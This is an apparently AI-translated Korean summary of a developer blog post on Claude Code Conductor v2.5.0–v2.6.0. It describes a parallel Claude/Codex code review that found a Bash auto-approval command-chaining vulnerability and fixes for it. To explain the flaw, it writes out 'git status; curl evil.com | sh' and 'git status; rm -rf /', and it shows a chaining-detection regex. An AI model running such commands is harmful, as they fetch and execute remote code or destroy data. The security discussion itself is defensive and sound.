Claude가 놓친 취약성을 Codex가 발견한 이야기 ── C3 × Codex 병렬 리뷰 (v2.5.0〜v2.6.0)
요약
본 기사는 Claude Code Conductor(C3)의 v2.5.0 및 v2.6.0 업데이트 내용을 다루며, 특히 Codex CLI를 연동하여 코드 리뷰 기능을 확장한 과정을 설명합니다. 핵심은 C3와 Codex를 병렬로 사용하여 서로가 놓친 취약점을 찾아내는 '교차 검증' 방식의 효율성을 입증하는 것입니다. 이 과정에서 Claude가 간과했던 실제 보안 취약점을 Codex가 발견하는 사례가 제시되었습니다.
핵심 포인트
- Claude Code Conductor(C3)는 v2.5.0에서 `/start` 버그를 수정하고, 스테이터스 라인을 모델명, 컨텍스트 사용량 등 상세 정보로 개선했습니다.
- v2.6.0에서는 Codex CLI와의 연동을 통해 `codex-review` 스킬이 추가되었으며, 이는 C3의 코드 리뷰 기능을 확장합니다.
- C3와 Codex를 병렬로 사용하여 코드를 리뷰할 경우, 각 모델이 놓친 부분을 상대방이 발견하는 '교차 검증' 효과가 나타나며, 실제 취약점 발견 사례가 있었습니다.
- Claude Code Conductor는 루틴(Routine) 기능을 통해 매일 아침 최신 정보를 자동으로 수집하고 정리하는 자동화 메커니즘을 구축할 수 있습니다.
이전 기사: https://zenn.dev/satoh_y_0323/articles/3ead52ca37f3e5
C3 GitHub: https://github.com/satoh-y-0323/claude-code-conductor / PyPI: https://pypi.org/project/claude-code-conductor/ / 공식 문서: https://satoh-y-0323.github.io/claude-code-conductor/
본 기사의 범위: v2.5.0의 버그 수정과, v2.6.0에서 신설한 codex-review 스킬에 관한 이야기. Claude와 Codex를 병렬로 리뷰하게 했더니 「서로가 놓친 것을 상대방이 찾아내는」 실례가 나와서, 그 이야기가 중심입니다.
서론
「AI에게 코드 리뷰를 시킬 거라면, AI가 1개체보다 2개체 있는 편이 좋지 않을까」
그런 당연한 발상을 C3로 실제로 구동해 본 이야기입니다.
Claude Code의 code-reviewer / security-reviewer가 한 번 리뷰한 후에, 이번에는 Codex CLI에 동일한 코드를 리뷰하게 한다. 지적 내용을 나열해 보니, Claude가 검출하고 Codex가 놓친 것과 Codex가 검출하고 Claude가 놓친 것이 모두 나왔습니다.
그중에서도 Codex가 찾아낸 지적 중 하나는, Claude의 security-reviewer가 완전히 지나쳤던 진짜 취약성이었습니다.
v2.5.0: /start 버그 수정과 스테이터스 라인(Status Line) 쇄신
본론에 앞서 v2.5.0부터.
/start → task-routing의 종류 반환이 중단되던 버그
/start를 실행하여 태스크 종류를 선택하면, task-routing이 「/start 명령으로 이행합니다」라는 메시지를 내보내고 멈추는 문제가 있었습니다. 사용자가 다시 /start를 직접 입력해야만 계속 진행되는 상태였습니다.
원인은 task-routing 스킬의 from_start=true 모드 종료 시 출력이 불명확했던 것이었습니다. 「확정된 종류 이름을 한 줄만 출력하고 종료한다」라는 제약을 명시하고, 여분의 메시지를 절대 내보내지 않도록 내용을 추가하여 수정했습니다.
스테이터스 라인(Status Line) 쇄신
Claude Code의 스테이터스 라인 표시를 전면적으로 다시 작성했습니다.
Before:
[████░░░░░░] ctx 20% | 5h lmt 40%
After:
[Claude Sonnet 4] 200K high | ctx used 20% | 5h lim 40% (2h 59m) | 7d lim 15% (5d 12h)
모델명, 컨텍스트 사이즈(Context Size), effort 레벨이 맨 앞에 들어오고, 리셋 남은 시간이 괄호와 함께 보이게 되었습니다. 게이지 바는 폐지하고 텍스트로만 통일했습니다.
v2.6.0: Codex CLI와의 연동 스킬
매일 아침 8시의 Claude Code 업데이트 리포트
본론에 들어가기에 앞서, 이번 작업과 병행하여 정비한 메커니즘을 소개합니다.
리모트 에이전트(Remote Agent, Claude Code의 루틴 기능)를 사용하여, 매일 아침 8시 JST에 Claude Code의 최신 정보를 자동으로 수집하여 일본어로 정리하는 루틴을 설정했습니다.
claude.ai/code/routines → 매일 아침 8:01 JST 실행
매일 아침 도착하는 내용: 최근 7일간의 신기능 + C3와의 궁합 평가
실제로 도착한 리포트에는 Agent View(병렬 에이전트 상태 모니터링 UI)나 terminalSequence Hook 필드 등, C3와 직접 관계있는 업데이트가 여러 개 포함되어 있으며, 「C3의 승인 대기 알림을 데스크톱 알림으로 구현할 수 있다」 등의 궁합 평가도 자동으로 따라옵니다. 매일 쫓아다니지 않아도 되는 점은 은근히 도움이 됩니다.
이번에 Codex CLI를 시도하게 된 것은 루틴이 계기가 아니라, 「Codex 무료 플랜에 등록하여 C3의 Codex 어댑터 동작을 확인하고 싶다」는 흐름 때문이었습니다. 그 확인 과정에서 codex exec가 Claude Code의 Bash 툴에서 호출될 수 있다는 것을 알게 되었고, 「그렇다면 리뷰를 시켜보자」가 되었습니다.
Codex CLI 동작 확인
먼저 Codex CLI가 C3에서 호출 가능한지 확인했습니다.
codex exec "hello, please respond with just 'OK'"
OpenAI Codex v0.130.0
model: gpt-5.5
approval: never
...
작동합니다. codex exec "프롬프트"라는 형식으로 헤드리스 (headless) 실행이 가능합니다 (claude -p에 해당). Claude Code의 Bash 툴에서 호출할 수 있습니다.
codex-review 스킬 설계
C3의 Codex 어댑터 (c3 init --platform codex로 생성)에는 .codex/agents/code-reviewer.toml 파일이 있습니다. 그 내용은 C3의 code-reviewer 에이전트 정의가 그대로 들어있습니다.
이를 codex exec의 프롬프트에 삽입하면, Codex 스스로가 code-reviewer 페르소나 (persona)로서 동작합니다. 서브 에이전트 (sub-agent)를 거칠 필요가 없습니다.
codex exec "다음 정의에 따라 에이전트로 동작해 주세요.\n=== 에이전트 정의 (.codex/agents/code-reviewer.toml) ===\n{agent_toml의 내용을 여기에 삽입}
...
이렇게 탄생한 것이 codex-review 스킬입니다. 두 가지 모드가 있습니다:
단일 파일 모드 (Single File Mode):
/codex-review code-reviewer src/c3/cli_ask.py
워크플로우 모드 (Workflow Mode, git diff 전체를 리뷰):
/codex-review workflow code-reviewer
/codex-review workflow security-reviewer
워크플로우 모드에서는 git diff HEAD의 변경 차분을 대상으로 하므로, 일반적인 C3 페이즈 E (Phase E)와 병행할 수 있습니다.
병렬 리뷰에서 일어난 일
대상 파일: permission_handler.py
C3의 PermissionRequest hook (Claude Code의 권한 확인 다이얼로그가 나타날 때 알림을 보내거나 auto-allow 판정을 하는 Python 스크립트)을 대상으로, Claude와 Codex로 병렬 리뷰를 진행했습니다.
- Claude: C3의 code-reviewer / security-reviewer 에이전트로 평소와 같이 실행
- Codex:
codex-review스킬을 통해 code-reviewer / security-reviewer 페르소나로 실행
그 결과, 4개의 리포트가 .claude/reports/에 생성되었습니다.
Claude가 찾아내고 Codex가 놓친 것 (코드 리뷰)
Claude code-reviewer는 9건을 지적했습니다. [CR-XX-NNN] 형태의 checklist_id를 부여하여, 체크리스트의 모든 항목을 망라적으로 확인한 결과입니다.
대표 사례:
- [High] logging 모듈 미사용 —
print로 진단 로그를 출력하고 있음 (logging으로 통일해야 함) - [High] 단일 함수 내 다중 책임 — 알림 전송과 새니타이즈 (sanitize) 처리를 하나의 함수인
notify()가 담당하고 있어 책임이 2개임 - [Medium] TypedDict 미사용 —
load_rules()의 반환 타입이dict로만 되어 있어 내부 내용을 알 수 없음 - [Medium] 매직 넘버 (Magic Number) 사용 —
CREATE_NO_WINDOW가 매직 넘버0x08000000을 주석으로 보완하고 있으나 상수로 정의해야 함
Codex는 동일한 파일을 보고 4건을 지적했습니다. 다만 체크리스트 항목을 망라적으로 확인하지는 않았습니다. 지적 스타일이 다릅니다.
Codex가 찾아내고 Claude가 놓친 것 (보안 리뷰)
여기서부터가 이번의 하이라이트입니다.
Claude security-reviewer는 High 1건 (PowerShell 새니타이즈), Medium 2건, Low 2건을 검출했습니다. 정성스럽게 수정 코드까지 작성해 주는, 평소와 다름없는 품질의 리포트입니다.
Codex security-reviewer가 검출한 High 2건 중, 1건은 Claude가 완전히 간과했던 문제였습니다.
High [SR-S-003] Bash 자동 승인 패턴이 셸 연결 명령어를 허용함
permission_handler.py:100
Bash(git status*)와 같은 glob를 명령어 문자열 전체에 re.fullmatch 하고 있기 때문에,
...
이것은 실제 취약점입니다.
permission_rules.json에 Bash(git status*)를 설정해 두면, git status; curl evil.com | sh가 권한 확인 없이 자동으로 승인되어 버립니다. C3의 permission_handler.py는 Claude Code의 auto-allow를 담당하는 hook이므로, 여기에 허점이 있으면 보안 경계가 무너집니다.
Claude의 security-reviewer는 PowerShell의 새니타이즈 (Sanitize) 문제나 파일 크기 제한의 부재는 찾아냈지만, 이 Bash 커맨드 체이닝 (Command Chaining) 문제는 검출하지 못했습니다.
지적 비교 요약
| 관점 | Claude | Codex |
|---|---|---|
| 스타일 | 체크리스트 전 항목을 [CR-XX-NNN]과 함께 망라. 수정 코드 포함 | 지적 수는 적은 편. 동작상의 리스크를 직설적으로 지적 |
| 코드 리뷰 고유 | logging 미사용, 함수 책임 분리, TypedDict, 명명 규칙 등 품질 관련 | URL 위장 버그 (부분 일치의 위험성), Windows 경로 구분자 문제 |
| 보안 리뷰 고유 | PowerShell 새니타이즈 (Sanitize), stdin 크기 제한, macOS 줄바꿈 이스케이프 | Bash 커맨드 체이닝 (Claude가 간과), 파일 경로 트래버설 (File Path Traversal) |
| 사용 토큰 | ─ | ~15,000 / 회 |
Claude가 "체크리스트 망라 × 수정안 포함"이라면, Codex는 "동작 레벨의 리스크 감각 × 적은 지적으로 급소를 찌름"이라는 차이가 보였습니다. 어느 한쪽만 사용하면 누락이 발생합니다.
수정 내용
Codex와 Claude의 지적을 통합하여 5개 사항을 수정했습니다.
1. Bash 셸 커맨드 체이닝 (Command Chaining) 방지 (Codex 지적)
# 추가된 가드
_SHELL_INJECTION_RE = re.compile(r';|&&|\|\||`|\$\(')
if tool_name == 'Bash':
...
이로써 git status; rm -rf /와 같은 명령어는 Bash(git *) 패턴에 매치되더라도 자동으로 승인되지 않습니다.
2. WebFetch 도메인 판정 엄격화 (양측 모두 지적)
# Before
return domain in url # "trusted.com"이 "evil.com?q=trusted.com"에도 매치됨
# After
...
3. Windows 알림의 PowerShell 인젝션 (Injection) 대책 (Claude 지적)
# Before: -Command로 셸 확장(Shell Expansion)이 실행됨
subprocess.Popen(['powershell', '-WindowStyle', 'Hidden', '-Command', ps], ...)
# After: -EncodedCommand (Base64)로 셸 확장을 완전히 배제
...
4. macOS 알림의 줄바꿈 이스케이프 (Claude 지적)
5. tool_input 타입 체크 추가 (Codex 지적)
6월 15일부터의 Anthropic 과금 변경과 C3에 미치는 영향
이번 작업 중에 마침 시의적절한 발표가 있었습니다.
Anthropic이 6월 15일부터 claude -p / Claude Agent SDK / Claude Code GitHub Actions 등의 프로그램 이용을 위한 전용 크레딧을 마련하는 변경 사항을 발표했습니다.
| 플랜 | 월간 크레딧 | 초과 시 |\n|---|---|---|\n| Pro ($20/월) | $20 상당 | API 종량제 (Pay-as-you-go) |\n| ... |\n\nC3에 미치는 영향은? 이라고 한다면, C3의 parallel-agents\n\n스킬은 Claude Code의 인터랙티브 세션 (Interactive session) 내에서 Agent 도구를 호출하는 구성이므로, "인터랙티브 이용"으로 분류될 가능성이 높아 프로그램 이용 크레딧 대상에서 제외될 것으로 보입니다.\n\n반면, 기존의 PO (Parallel Orchestra)는 별도 프로세스를 실행하는 설계였기에, 만약 폐지하지 않았다면 프로그램 이용 크레딧 대상이 되었을지도 모릅니다. Agent 도구 방식으로 이행한 것이 우연히도 과금 리스크를 회피하는 결과가 되었습니다.\n\n상세 내용은 6월 8일에 이메일로 통지될 예정이므로, 이를 통해 정식으로 확인할 것입니다.\n\n## codex-review 스킬 사용법\n\n### 셋업 (Setup)\n\n먼저 Codex 어댑터를 생성합니다:\n\n\n\nc3 init --platform codex\n\n\n\n또는 Codex CLI만 사용하고 싶은 별도 프로젝트에 전개:\n\n\n\ncd /path/to/your-project\n\npip install claude-code-conductor\n\nc3 init --platform codex\n\n\n\n이렇게 하면 .codex/agents/code-reviewer.toml\n\n과 .codex/agents/security-reviewer.toml\n\n이 생성됩니다.\n\n### 단일 파일 리뷰 (Single file review)\n\n\n\n/codex-review code-reviewer src/path/to/file.py\n\n/codex-review security-reviewer src/path/to/file.py\n\n\n\n리포트는 .claude/reports/code-review-report-{timestamp}.md\n\n에 저장됩니다.\n\n### 통상 워크플로우와의 병행\n\n페이즈 E (리뷰)에 진입하면, 먼저 Codex를 실행한 뒤 Claude의 리뷰를 돌립니다:\n\n\n\n# Codex로 워크플로우 리뷰 (git diff 전체를 대상)\n\n/codex-review workflow code-reviewer\n\n# 이어서 Claude의 통상 리뷰\n\n...\n\n\n\n또는 "Codex도 병렬로 리뷰하게 하면서 통상적인 코드 리뷰를 진행해 주세요"라고 지시하기만 해도, 스킬의 description에 있는 트리거 워드 (Trigger word)를 통해 자동으로 호출됩니다.\n\n### 토큰 소비 기준\n\nCodex 무료 플랜으로 테스트해 본 결과, 이번에 리뷰한 permission_handler.py\n\n (약 150행)에 대해 code-reviewer로 주간 제한의 약 1%, security-reviewer로 약 2%를 소비했습니다. 파일 크기나 내용에 따라 변동되므로 일괄적으로 말할 수는 없지만, 참고치로 활용하시기 바랍니다. 직장에 Codex 라이선스가 있다면 한도를 신경 쓰지 않고 사용할 수 있습니다.\n\n## 요약\n\n### 이번 릴리스\n\n| 버전 | 변경 사항 |\n|---|---|\n| v2.5.0 | /start → task-routing의 종류 반환 버그 수정, 상태 표시줄 (Status line) 쇄신 |\n| v2.6.0 | codex-review 스킬 신설 (단일 파일 + 워크플로우 모드), permission_handler.py 보안 강화, cli_ask.py 버그 수정 |\n\n### 병렬 리뷰로 얻은 교훈\n\n"Claude가 놓친 것을 Codex가 발견했다", "Codex가 놓친 것을 Claude가 발견했다" ── 두 가지 모두 일어났습니다.\n\nClaude는 체크리스트 망라와 수정안의 친절함에서 앞섭니다. Codex는 동작 레벨에서의 위험성에 대한 직관으로 이를 보완합니다. Bash 커맨드 체이닝 (Command chaining)의 취약성은 Claude가 체크리스트대로 스캔하는 것만으로는 나오지 않았던 지적이었습니다.\n\n"AI가 작성한 코드를 AI가 리뷰한다"는 흐름이 당연해지고 있는 지금, "AI를 AI로 리뷰하는" 데에도 여러 개의 눈이 있는 편이 좋습니다. C3에 그것을 통합하는 첫걸음이 codex-review\n\n스킬입니다.\n\n## 링크
C3 GitHub: https://github.com/satoh-y-0323/claude-code-conductor -
C3 PyPI: https://pypi.org/project/claude-code-conductor/ -
C3 공식 문서 (Official Documentation): https://satoh-y-0323.github.io/claude-code-conductor/ -
이전 기사 (Claude / Codex / Cursor 의 3C, v2.4.0 사용법 가이드): https://zenn.dev/satoh_y_0323/articles/3ead52ca37f3e5
AI 자동 생성 콘텐츠
본 콘텐츠는 Zenn AI의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기